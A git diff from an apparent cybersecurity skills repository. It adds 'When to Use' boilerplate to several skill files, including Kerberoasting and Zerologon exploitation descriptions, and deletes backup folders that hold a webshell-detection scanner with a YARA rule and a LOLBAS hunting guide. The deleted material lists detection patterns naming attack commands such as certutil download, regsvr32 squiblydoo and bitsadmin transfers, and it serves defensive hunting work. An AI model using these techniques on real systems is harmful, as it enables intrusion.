sorted(all_adversaries), - "unique_infrastructure": sorted(all_infra), - "unique_capabilities": sorted(all_caps), - "activity_thread": thread, - "clusters": clusters, - } - - -def load_events_from_file(filepath: str) -> List[DiamondEvent]: - """Load raw event data from a JSON file.""" - with open(filepath) as f: - raw = json.load(f) - events_data = raw if isinstance(raw, list) else raw.get("events", []) - return [create_event(e) for e in events_data] - - -def main(): - parser = argparse.ArgumentParser(description="Diamond Model Analysis Agent") - parser.add_argument("--input", required=True, help="JSON file with raw event data") - parser.add_argument("--output", default="diamond_report.json", help="Output report path") - parser.add_argument("--pivot-type", choices=["adversary", "capability", "infrastructure", "victim"]) - parser.add_argument("--pivot-value", help="Value to pivot on") - args = parser.parse_args() - - events = load_events_from_file(args.input) - logger.info("Loaded %d Diamond events", len(events)) - - if args.pivot_type and args.pivot_value: - events = pivot_on_vertex(events, args.pivot_type, args.pivot_value) - - report = generate_report(events) - with open(args.output, "w") as f: - json.dump(report, f, indent=2, default=str) - logger.info("Diamond Model report saved to %s", args.output) - print(json.dumps(report, indent=2, default=str)) - - -if __name__ == "__main__": - main() diff --git a/skills/exploiting-kerberoasting-with-impacket/SKILL.md b/skills/exploiting-kerberoasting-with-impacket/SKILL.md index 24aeee12..68b8caf8 100644 --- a/skills/exploiting-kerberoasting-with-impacket/SKILL.md +++ b/skills/exploiting-kerberoasting-with-impacket/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's `GetUserSPNs.py` is the standard tool for Linux-based Kerberoasting attacks. + +## When to Use + +- When performing authorized security testing that involves exploiting kerberoasting with impacket +- When analyzing malware samples or attack artifacts in a controlled environment +- When conducting red team exercises or penetration testing engagements +- When building detection capabilities based on offensive technique understanding + ## Prerequisites - Valid domain credentials (any domain user can request TGS tickets) diff --git a/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md index 7b7626ce..4c20d82c 100644 --- a/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md +++ b/skills/exploiting-zerologon-vulnerability-cve-2020-1472/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Zerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network access to a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694). + +## When to Use + +- When performing authorized security testing that involves exploiting zerologon vulnerability cve 2020 1472 +- When analyzing malware samples or attack artifacts in a controlled environment +- When conducting red team exercises or penetration testing engagements +- When building detection capabilities based on offensive technique understanding + ## Prerequisites - Network access to a Domain Controller (TCP port 135 and dynamic RPC ports) diff --git a/skills/hardening-docker-daemon-configuration/SKILL.md b/skills/hardening-docker-daemon-configuration/SKILL.md index b955a5b7..23f215f3 100644 --- a/skills/hardening-docker-daemon-configuration/SKILL.md +++ b/skills/hardening-docker-daemon-configuration/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 The Docker daemon (`dockerd`) runs with root privileges and controls all container operations. Hardening its configuration through `/etc/docker/daemon.json`, TLS certificates, user namespace remapping, and network restrictions is essential to prevent privilege escalation, lateral movement, and container breakout attacks. + +## When to Use + +- When deploying or configuring hardening docker daemon configuration capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Docker Engine 24.0+ installed diff --git a/skills/hunting-for-ntlm-relay-attacks/SKILL.md b/skills/hunting-for-ntlm-relay-attacks/SKILL.md index cefc2b63..fcb2abb1 100644 --- a/skills/hunting-for-ntlm-relay-attacks/SKILL.md +++ b/skills/hunting-for-ntlm-relay-attacks/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 NTLM relay attacks intercept and forward NTLM authentication messages to gain unauthorized access to network resources. Attackers use tools like Responder for LLMNR/NBT-NS poisoning and ntlmrelayx for credential relay. This skill detects relay activity by querying Windows Security Event 4624 (successful logon) for type 3 network logons with NTLMSSP authentication, identifying mismatches between WorkstationName and source IpAddress, detecting rapid multi-host authentication from single accounts, and auditing SMB signing configuration across domain hosts. + +## When to Use + +- When investigating security incidents that require hunting for ntlm relay attacks +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - Python 3.9+ with Windows Event Log access or exported logs diff --git a/skills/hunting-for-webshells-in-web-servers.bak/LICENSE b/skills/hunting-for-webshells-in-web-servers.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/hunting-for-webshells-in-web-servers.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/hunting-for-webshells-in-web-servers.bak/SKILL.md b/skills/hunting-for-webshells-in-web-servers.bak/SKILL.md deleted file mode 100644 index a657c8a0..00000000 --- a/skills/hunting-for-webshells-in-web-servers.bak/SKILL.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -name: hunting-for-webshells-in-web-servers -description: >- - Detect webshells planted on web servers by scanning for high-entropy files, - suspicious PHP/JSP/ASP patterns (eval, base64_decode, system, passthru), - recently modified files in web roots, and anomalous file sizes. Uses Shannon - entropy calculation to flag obfuscated payloads and regex pattern matching - against known webshell signatures. -domain: cybersecurity -subdomain: security-operations -tags: [hunting, for, webshells, web] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -## Instructions - -1. Install dependencies: `pip install yara-python` -2. Identify web server document roots to scan (e.g., `/var/www/html`, `/opt/lampp/htdocs`). -3. Run the agent to scan for webshells: - - Shannon entropy analysis flags files with entropy > 5.5 - - Pattern matching detects eval(), base64_decode(), system(), passthru(), shell_exec() - - File modification time analysis finds recently changed files - - Extension filtering targets .php, .jsp, .asp, .aspx, .cgi, .py files - -```bash -python scripts/agent.py --webroot /var/www/html --output webshell_report.json -``` - -## Examples - -### High-Entropy PHP Webshell Detection -``` -File: /var/www/html/uploads/img_thumb.php -Entropy: 6.12 (threshold: 5.5) -Patterns matched: eval(), base64_decode(), str_rot13() -Last modified: 2025-12-01 03:42:00 (outside business hours) -Verdict: SUSPICIOUS - likely obfuscated webshell -``` diff --git a/skills/hunting-for-webshells-in-web-servers.bak/references/api-reference.md b/skills/hunting-for-webshells-in-web-servers.bak/references/api-reference.md deleted file mode 100644 index 9484487f..00000000 --- a/skills/hunting-for-webshells-in-web-servers.bak/references/api-reference.md +++ /dev/null @@ -1,67 +0,0 @@ -# API Reference: Hunting for Webshells in Web Servers - -## Shannon Entropy Calculation - -```python -import math - -def shannon_entropy(data: bytes) -> float: - freq = {} - for byte in data: - freq[byte] = freq.get(byte, 0) + 1 - length = len(data) - return -sum((c/length) * math.log2(c/length) for c in freq.values()) - -# Thresholds: > 5.5 suspicious, > 6.5 likely obfuscated -``` - -## Webshell Detection Patterns - -| Pattern | Language | Risk | -|---------|----------|------| -| `eval()` | PHP | HIGH | -| `base64_decode()` | PHP | HIGH | -| `system()` / `passthru()` | PHP | CRITICAL | -| `shell_exec()` / `exec()` | PHP | CRITICAL | -| `$_GET/$_POST` + `eval` | PHP | CRITICAL | -| `Runtime.getRuntime().exec` | JSP | CRITICAL | -| `Server.CreateObject` | ASP | HIGH | - -## YARA Rule for Webshells - -```yara -rule webshell_php_generic { - meta: - description = "Generic PHP webshell" - strings: - $eval = "eval(" ascii nocase - $b64 = "base64_decode(" ascii nocase - $system = "system(" ascii nocase - $input = /\$_(GET|POST|REQUEST)\s*\[/ ascii - condition: - $input and ($eval or $b64 or $system) -} -``` - -## File System Scanning - -```python -from pathlib import Path -SCRIPT_EXTS = {".php", ".asp", ".aspx", ".jsp", ".jspx", ".cgi"} -for f in Path("/var/www/html").rglob("*"): - if f.suffix.lower() in SCRIPT_EXTS: - entropy = shannon_entropy(f.read_bytes()) -``` - -## NeoPI (Webshell Detection Tool) - -```bash -python neopi.py /var/www/html -a # Run all tests -# Tests: entropy, longest word, index of coincidence, signature -``` - -### References - -- MITRE T1505.003: https://attack.mitre.org/techniques/T1505/003/ -- NeoPI: https://github.com/Neohapsis/NeoPI -- YARA: https://yara.readthedocs.io/ diff --git a/skills/hunting-for-webshells-in-web-servers.bak/scripts/agent.py b/skills/hunting-for-webshells-in-web-servers.bak/scripts/agent.py deleted file mode 100644 index 19d5e01e..00000000 --- a/skills/hunting-for-webshells-in-web-servers.bak/scripts/agent.py +++ /dev/null @@ -1,191 +0,0 @@ -#!/usr/bin/env python3 -"""Webshell Detection Agent - Scans web server directories for webshell indicators.""" - -import json -import math -import os -import re -import logging -import argparse -from datetime import datetime, timedelta -from collections import Counter - -logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") -logger = logging.getLogger(__name__) - -WEB_EXTENSIONS = {".php", ".phtml", ".php5", ".php7", ".jsp", ".jspx", ".asp", ".aspx", ".cgi", ".py", ".pl", ".cfm"} - -PHP_PATTERNS = [ - (r"\beval\s*\(", "eval() execution", "critical"), - (r"\bbase64_decode\s*\(", "base64_decode() obfuscation", "high"), - (r"\bsystem\s*\(", "system() command execution", "critical"), - (r"\bpassthru\s*\(", "passthru() command execution", "critical"), - (r"\bshell_exec\s*\(", "shell_exec() command execution", "critical"), - (r"\bexec\s*\(", "exec() command execution", "high"), - (r"\bproc_open\s*\(", "proc_open() process spawn", "critical"), - (r"\bpopen\s*\(", "popen() pipe execution", "high"), - (r"\bstr_rot13\s*\(", "str_rot13() obfuscation", "medium"), - (r"\bgzinflate\s*\(", "gzinflate() decompression obfuscation", "high"), - (r"\bpreg_replace\s*\(.*/e", "preg_replace /e code execution", "critical"), - (r"\bassert\s*\(", "assert() code execution", "high"), - (r"\$_(?:GET|POST|REQUEST|COOKIE)\s*\[", "direct superglobal access", "medium"), - (r"\bcreate_function\s*\(", "create_function() dynamic code", "high"), - (r"\bReflectionFunction\b", "ReflectionFunction dynamic invocation", "high"), -] - -JSP_PATTERNS = [ - (r"Runtime\.getRuntime\(\)\.exec\(", "Runtime.exec() command execution", "critical"), - (r"ProcessBuilder\b", "ProcessBuilder command execution", "critical"), - (r"Class\.forName\s*\(", "Class.forName() dynamic loading", "high"), -] - -ASP_PATTERNS = [ - (r"Server\.CreateObject\s*\(", "CreateObject instantiation", "high"), - (r"WScript\.Shell", "WScript.Shell execution", "critical"), - (r"Scripting\.FileSystemObject", "FileSystemObject access", "high"), - (r"Execute\s*\(", "Execute() dynamic code", "critical"), -] - - -def calculate_entropy(data): - """Calculate Shannon entropy of file content.""" - if not data: - return 0.0 - counter = Counter(data) - length = len(data) - entropy = 0.0 - for count in counter.values(): - p = count / length - if p > 0: - entropy -= p * math.log2(p) - return entropy - - -def get_patterns_for_ext(ext): - """Return relevant patterns based on file extension.""" - ext = ext.lower() - patterns = [] - if ext in (".php", ".phtml", ".php5", ".php7"): - patterns.extend(PHP_PATTERNS) - elif ext in (".jsp", ".jspx"): - patterns.extend(JSP_PATTERNS) - elif ext in (".asp", ".aspx"): - patterns.extend(ASP_PATTERNS) - return patterns - - -def scan_file(filepath, entropy_threshold=5.5): - """Scan a single file for webshell indicators.""" - try: - with open(filepath, "r", encoding="utf-8", errors="ignore") as f: - content = f.read() - except (OSError, PermissionError) as e: - return {"file": filepath, "error": str(e)} - - stat = os.stat(filepath) - ext = os.path.splitext(filepath)[1].lower() - entropy = calculate_entropy(content) - matched_patterns = [] - - for pattern, description, severity in get_patterns_for_ext(ext): - if re.search(pattern, content, re.IGNORECASE): - matched_patterns.append({"pattern": description, "severity": severity}) - - long_strings = len(re.findall(r'["\'][^"\']{500,}["\']', content)) - has_hex_encoding = bool(re.search(r"\\x[0-9a-fA-F]{2}(?:\\x[0-9a-fA-F]{2}){10,}", content)) - line_count = content.count("\n") + 1 - avg_line_length = len(content) / max(line_count, 1) - - risk_score = 0 - if entropy > entropy_threshold: - risk_score += 30 - if matched_patterns: - risk_score += min(len(matched_patterns) * 15, 50) - if long_strings > 0: - risk_score += 10 - if has_hex_encoding: - risk_score += 15 - if avg_line_length > 500: - risk_score += 10 - - if risk_score >= 50: - verdict = "MALICIOUS" - elif risk_score >= 25: - verdict = "SUSPICIOUS" - else: - verdict = "CLEAN" - - return { - "file": filepath, - "size": stat.st_size, - "modified": datetime.fromtimestamp(stat.st_mtime).isoformat(), - "entropy": round(entropy, 3), - "patterns_matched": matched_patterns, - "long_strings": long_strings, - "hex_encoding": has_hex_encoding, - "avg_line_length": round(avg_line_length, 1), - "risk_score": risk_score, - "verdict": verdict, - } - - -def scan_directory(webroot, entropy_threshold=5.5, max_age_days=30): - """Scan a web directory for webshell files.""" - results = [] - cutoff = datetime.now() - timedelta(days=max_age_days) - - for root, _dirs, files in os.walk(webroot): - for fname in files: - ext = os.path.splitext(fname)[1].lower() - if ext not in WEB_EXTENSIONS: - continue - filepath = os.path.join(root, fname) - result = scan_file(filepath, entropy_threshold) - if "error" not in result: - results.append(result) - - recently_modified = [ - r for r in results - if datetime.fromisoformat(r["modified"]) > cutoff - ] - logger.info( - "Scanned %d files, %d recently modified (<%d days)", - len(results), len(recently_modified), max_age_days, - ) - return results - - -def generate_report(scan_results): - """Generate webshell detection report.""" - malicious = [r for r in scan_results if r["verdict"] == "MALICIOUS"] - suspicious = [r for r in scan_results if r["verdict"] == "SUSPICIOUS"] - report = { - "timestamp": datetime.utcnow().isoformat(), - "total_files_scanned": len(scan_results), - "malicious_count": len(malicious), - "suspicious_count": len(suspicious), - "clean_count": len(scan_results) - len(malicious) - len(suspicious), - "malicious_files": malicious, - "suspicious_files": suspicious, - } - print(f"WEBSHELL REPORT: {len(malicious)} malicious, {len(suspicious)} suspicious out of {len(scan_results)} files") - return report - - -def main(): - parser = argparse.ArgumentParser(description="Webshell Detection Agent") - parser.add_argument("--webroot", required=True, help="Web server document root to scan") - parser.add_argument("--entropy-threshold", type=float, default=5.5) - parser.add_argument("--max-age-days", type=int, default=30) - parser.add_argument("--output", default="webshell_report.json") - args = parser.parse_args() - - results = scan_directory(args.webroot, args.entropy_threshold, args.max_age_days) - report = generate_report(results) - with open(args.output, "w") as f: - json.dump(report, f, indent=2) - logger.info("Report saved to %s", args.output) - - -if __name__ == "__main__": - main() diff --git a/skills/hunting-living-off-the-land-binaries.bak/LICENSE b/skills/hunting-living-off-the-land-binaries.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/hunting-living-off-the-land-binaries.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/hunting-living-off-the-land-binaries.bak/SKILL.md b/skills/hunting-living-off-the-land-binaries.bak/SKILL.md deleted file mode 100644 index 80449f4f..00000000 --- a/skills/hunting-living-off-the-land-binaries.bak/SKILL.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -name: hunting-living-off-the-land-binaries -description: > - Detects abuse of Living Off The Land Binaries (LOLBAS) such as certutil, wmic, mshta, - regsvr32, and rundll32 in Windows event logs and Sysmon telemetry. Builds detection - rules by cross-referencing process creation events against the LOLBAS project database. - Use when threat hunting for fileless attack techniques or building SIEM detection rules. -domain: cybersecurity -subdomain: security-operations -tags: [hunting, living, off, the] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -# Hunting Living Off The Land Binaries - -## Instructions - -Detect LOLBAS abuse by analyzing Windows process creation events (Event ID 4688 / Sysmon 1) -and matching command lines against known malicious patterns from the LOLBAS project. - -```python -import json -import requests - -# Fetch LOLBAS database -resp = requests.get("https://lolbas-project.github.io/api/lolbas.json") -lolbas_db = resp.json() - -# Extract binary names and suspicious commands -for entry in lolbas_db: - print(entry["Name"], [cmd["Command"] for cmd in entry.get("Commands", [])]) -``` - -Key detection patterns: -1. certutil -urlcache -split -f (download) -2. mshta vbscript:Execute (script execution) -3. regsvr32 /s /n /u /i:http (squiblydoo) -4. rundll32 javascript: (script execution) -5. wmic process call create (process creation) -6. bitsadmin /transfer (download) - -## Examples - -```python -# Match Sysmon Event ID 1 against LOLBAS patterns -import Evtx.Evtx as evtx -with evtx.Evtx("Microsoft-Windows-Sysmon.evtx") as log: - 